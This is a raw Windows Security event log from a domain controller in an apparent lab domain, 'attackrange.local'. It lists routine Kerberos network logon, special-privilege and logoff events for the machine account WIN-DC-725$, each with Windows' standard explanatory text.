Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE06EF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64176

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249212
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE06EF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249211
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE068E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249210
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE068E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64175

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249209
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE068E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249208
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0628

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249207
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0628
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64174

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249206
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0628

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249205
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE05C7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249204
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE05C7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64173

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249203
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE05C7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249226
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE088B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249225
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE088B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64180

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249224
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE088B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249223
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE082A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249222
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE082A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64179

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249221
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE082A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249220
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE07C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249219
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE07C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64178

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249218
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE07C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249217
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0763

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249216
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0763
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64177

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249215
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0763

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249238
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0A73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249237
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0A73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64184

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249236
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0A73

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249235
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0A12

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249234
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0A12
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64183

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
